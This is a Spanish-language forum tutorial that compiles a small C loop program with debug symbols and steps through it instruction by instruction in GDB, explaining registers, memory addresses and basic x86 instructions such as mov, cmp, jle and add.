Antes que nada, vamos a eliminar nuestro analizaMe compilado anteriormente, y vamos a volverlo a compilar con un parámetro nuevo que es la option flag "-g".
Genera mayor información de debug para ser utilizada por GDB.
Let's work!.

$> gcc -g analizaMe.c -o analizaMe (compilas con option flag -g)
$> chmod +x analizaMe (le damos permisos de ejecucion)
$> ./analizaMe (ejecutamos el binario para testear que todo haya salido correcto y recordar que hacia)

La variable contar vale: 0
La variable contar vale: 1
La variable contar vale: 2
La variable contar vale: 3
La variable contar vale: 4

Ok, todo funciono bien por fuera, analicemos que hace por dentro, con lo aprendido anteriormente en GDB.

ACLARACIÓN: Puede que las direcciones de memoria de SUS PCS respecto a las mías en estos ejemplos NO SEAN IGUALES. Y seria algo lógico..
Asi que no se preocupen, que podrán seguir igual los ejemplos...

$> gdb -q ./analizaMe (abrimos el binario creado con nuestro debugger favorito :))

(gdb) b main  (breakpoint en la funcion principal main)
Punto de interrupción 1 at 0x8048415: file analizaMe.c, line 4. (respuesta del gdb).

(gdb) r (corremos el programa con el comando run o r abreviado)
Breakpoint 1, main () at analizaMe.c:4
4      for(contar=0; contar < 5; contar++)

Bien como vemos, para en el punto de interrupción que nosotros mismos pusimos en main.
Y como vemos nos adjunta '+ información' gracias al option flag -g que agregamos.
Bien, vamos a verificar como esta el panorama..

(gdb) i r $eip
eip            0x8048415    0x8048415 <main+9>
(verificamos la información del registro $eip y vemos que apunta a esa direccion).

(gdb) x/3i $eip
=> 0x8048415 <main+9>:    mov    DWORD PTR [esp+0x1c],0x0
      0x804841d <main+17>:    jmp    0x8048438 <main+44>
      0x804841f <main+19>:    mov    eax,DWORD PTR [esp+0x1c]

Como anteriormente vimos, la opción 'i' era la de instrucción. Le decimos a GDB que nos muestre solo las próximas 3 instrucciones a ejecutarse para guiarnos de que esta haciendo el programa y que va a hacer.

Si hicieron la tarea y refrescaron un poco assembler, fundamental para explotar cualquier vulnerabilidad... recordamos también cuando explique algunas instrucciones de assembler, como por ejemplo 'mov'.

A simple vista entonces, GDB nos dice que donde ahora mismo esta parado, va a realizar una operación en la cual 'moverá' el valor de la derecha '0x0' hacia la izquierda en donde tenemos como destino una dirección en memoria (esp+0x1c). Nota: Es muy común ver este tipo de direcciones, porque si recordamos sabemos que EAX, EBX, EDI, ESI, ESP, etc son registros y es común leer ESP+4 o EBP-4 y cosas asi, este caso nos dice que lo va a mover a ESP+0x1c. 0x1c en decimal equivale a 28. Por lo que seria $esp+28.
Si recordamos también que el programa paro en nuestro breakpoint en main justo cuando comenzaba el for y nos arrojo esta información:

"4   for(contar=0; contar < 5; contar++)"

Podríamos deducir que ese valor 0x0 que va a mover, es el que le dimos en el FOR a nuestra variable llamada 'contar'.
Analicemos esa dirección de memoria que valor contiene en este momento con el programa pausado en nuestro breakpoint:

(gdb) i r $esp
esp   0xbffff270 (En el registro ESP encontramos una dirección de memoria 0xbffff270)

Por lo tanto BFFFF270 + 1C  (ESP+28) = BFFFF28C. (tranquilos, todo eso el debugger lo obvia por nosotros y lo sabe, pero para que entendamos, otra aclaración for dummys, siempre que veamos 0x12345678 esa '0x' del principio nos indica que es una notación Hexadecimal, la dirección seria 12345678.)

Bien, volviendo a la practica verificamos con GDB, la siguiente linea:

=> 0x8048415 <main+9>:    mov    DWORD PTR [esp+0x1c],0x0

(gdb) x/x $esp+0x1c
0xbffff28c:    0xb7fc1000

Como vemos nos responde lo que anteriormente les aclare, esp contiene una dirección y esa dirección + 28 (1c) es BFFFF28c, y GDB nos dice que esa dirección contiene el siguiente valor: 0xb7fc1000.
Por lo tanto lo que pasaría ahora es que al ejecutar la siguiente instrucción:

"mov    DWORD PTR [esp+0x1c],0x0" ..ese valor dejaria de existir y pasaria a ser 0x0 con la operacion de mov.

Voy a comentarles un nuevo comando el cual nos permite por asi decirlo, crear temporalmente un 'acceso directo' a una determinada direccion, para no tener que escribirla constantemente y verificar si tiene cambios en su contenido:

(gdb) print $esp+0x1c
$1 = (void *) 0xbffff28c

(Le decimos a gdb que nos cree una variable temporal de la dirección de memoria $esp+0x1c, para accederla fácilmente cuando queramos, y gdb nos responde diciendo que se creo la variable $1)

Ahora usaremos el comando 'nexti' para ejecutar  la siguiente instrucción, nexti hace que el programa vaya paso a paso, instruccion por instruccion, luego del breakpoint que pusimos.

(gdb) nexti
0x0804841d    4      for(contar=0; contar < 5; contar++)

Ejecutamos nexti. Veamos si la dirección $esp+0x1c (0xbffff28c)    0xb7fc1000 que contenía valores aleatorios.. ha cambiado.

(gdb) x/x $1 
0xbffff28c:    0x00000000

Efectivamente, se cumplió la operación 'mov' y movió el valor '0x0' a la dirección de esp+0x1c.
Veamos donde esta parado ahora el registro EIP y cuales son sus siguientes operaciones:

(gdb) x/10i $eip  (le decimos a gdb que nos arroje las proximas 10 instrucciones).



Como vemos en la imagen, EIP apunta a una instrucción en donde hay un JMP (JUMP), un salto el cual tiene como destino la dirección 0x8048438. Que es la 7ma linea de las 10 que pedimos que nos muestre. Le damos a nexti.

(gdb) nexti
0x08048438    4      for(contar=0; contar < 5; contar++)

Vemos que seguimos en el FOR.

(gdb) x/3i $eip
=> 0x8048438 <main+44>:    cmp    DWORD PTR [esp+0x1c],0x4
      0x804843d <main+49>:    jle    0x804841f <main+19>
      0x804843f <main+51>:    leave

Ok, confirmamos que salto a la dirección 8048438 como sabíamos.

Y ahora lo que va a hacer es a comparar mediante la instrucción 'cmp'. El valor 0x4 (4) contra el valor que esta guardado en la dirección [esp+0x1c] (nuestra famosa dirección que podemos acceder temporalmente mediante la variable $1 que seteamos anteriormente).

Como sabemos por la ultima vez que vimos la dirección esa contenía el valor '0'. Por lo tanto comparara el valor 4, contra el valor 0. Exactamente en esta parte del FOR estamos: "contar < 5"
Le damos a nexti...

(gdb) nexti
0x0804843d    4      for(contar=0; contar < 5; contar++)

(gdb) x/i $eip
=> 0x804843d <main+49>:    jle    0x804841f <main+19>

Luego de ejecutar 'nexti' nos lleva a la siguiente instrucción, y si la verificamos con examine para ver donde esta parado EIP, nos encontramos con un JLE. Como recordamos, J.. es sinónimo de JUMP, pero en este caso es un salto 'condicional' que significa JUMP LESS EQUAL. Y quiere decir que SALTA, SI ES MENOR o IGUAL.....

Como evidentemente esto es cierto, ya que 0 es menor que 4.. entonces salta a la dirección 0x804841f.

(gdb) x/i $eip
=> 0x804841f <main+19>:    mov    eax,DWORD PTR [esp+0x1c]

Estábamos en lo correcto, y salto nomas a la dirección previamente dicha.
Si verificamos las siguientes 10 instrucciones:



Observamos que en la 4ta linea de las 10 solicitadas, hay un "CALL 0x80482F0".
Que es el encargado de llamar a la función PRINTF. (La que imprime en pantalla el primer mensaje de "La variable contar vale: 0" que observamos al ejecutar el programa).

Para que se entienda, cuando llegamos a una instrucción donde hay un CALL como en este caso el programa se desvia a una subrutina, es como si fuese una porción de código aparte en la cual se realizan otras operaciones y una vez que se concluyen al final de ese código de la subrutina hay una instrucción llamada RET (de return/regreso).

Vean la siguiente imagen.. (sacada de Google Imágenes).



Por lo tanto, luego de la llamada a esa función, el RET debería dejarnos justituto en la siguiente dirección 0x8048433:



Ok, siguiendo con nuestro análisis, ya estamos por el final, espero no se hayan perdido.

(gdb) x/5i $eip
=> 0x8048433 <main+39>:    add    DWORD PTR [esp+0x1c],0x1
      0x8048438 <main+44>:    cmp    DWORD PTR [esp+0x1c],0x4
      0x804843d <main+49>:    jle    0x804841f <main+19>
      0x804843f <main+51>:    leave
      0x8048440 <main+52>:    ret

EIP apunta a una instrucción conocida llamada 'add' la cual sirve para 'sumar' dos operandos y lo guarda en el lugar destino, en este caso 0x1 en nuestra conocida dirección de memoria ;).

Le damos a 'nexti'.. y luego verificamos después de esta operación si el valor de esa dirección de memoria tuvo algún cambio..

(gdb) nexti
0x08048438    4      for(contar=0; contar < 5; contar++)

(gdb) x/x $1
0xbffff28c:    0x00000001

Efectivamente.. ahora contiene el valor de 1.
Si miramos un poco mas las siguientes dos instrucciones:

(gdb) x/2i $eip
=> 0x8048438 <main+44>:    cmp    DWORD PTR [esp+0x1c],0x4
      0x804843d <main+49>:    jle    0x804841f <main+19>

Ya nos resulta conocida, y es que esta nuevamente comparando el valor de 4 con el ahora 1.
Luego viene el ya explicado JLE - va a saltar si es menor o igual que 4.
Como lo és, salta a 0x804841f. Y así seguiría el loop.. hasta que si seguimos analizando el programa paso a paso con nexti y verificando el valor de la dirección en $1.. llegaríamos a:

(gdb) x/x $1
0xbffff28c:    0x00000005

(gdb) x/i $eip
=> 0x8048438 <main+44>:    cmp    DWORD PTR [esp+0x1c],0x4

(gdb) x/5i $eip
=> 0x8048438 <main+44>:    cmp    DWORD PTR [esp+0x1c],0x4
      0x804843d <main+49>:    jle    0x804841f <main+19>
      0x804843f <main+51>:    leave
      0x8048440 <main+52>:    ret

Luego de ir sumándole 1 por cada loop de imprimir en pantalla, nuestra famosa dirección contiene el valor de 5.
Por lo tanto al siguiente 'cmp', de comparar si 5 es menor o igual que 4? y matemáticamente es negativo, NO se cumpliría el JLE condicional por lo que las siguiente dos instrucciones serian:

(gdb) x/2i $eip
=> 0x804843f <main+51>:    leave
      0x8048440 <main+52>:    ret
      0xb7e344d3 <__libc_start_main+243>:    mov    DWORD PTR [esp],eax
      0xb7e344d6 <__libc_start_main+246>:    call   0xb7e4dfb0 <exit>

(gdb) nexti
[Inferior 1 (process 5324) exited with code 034]

De esta manera finaliza el tercer paper.. y uno de los mas largos.
Gracias :).

#c0nfused - allmenage[at]gmail.com - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta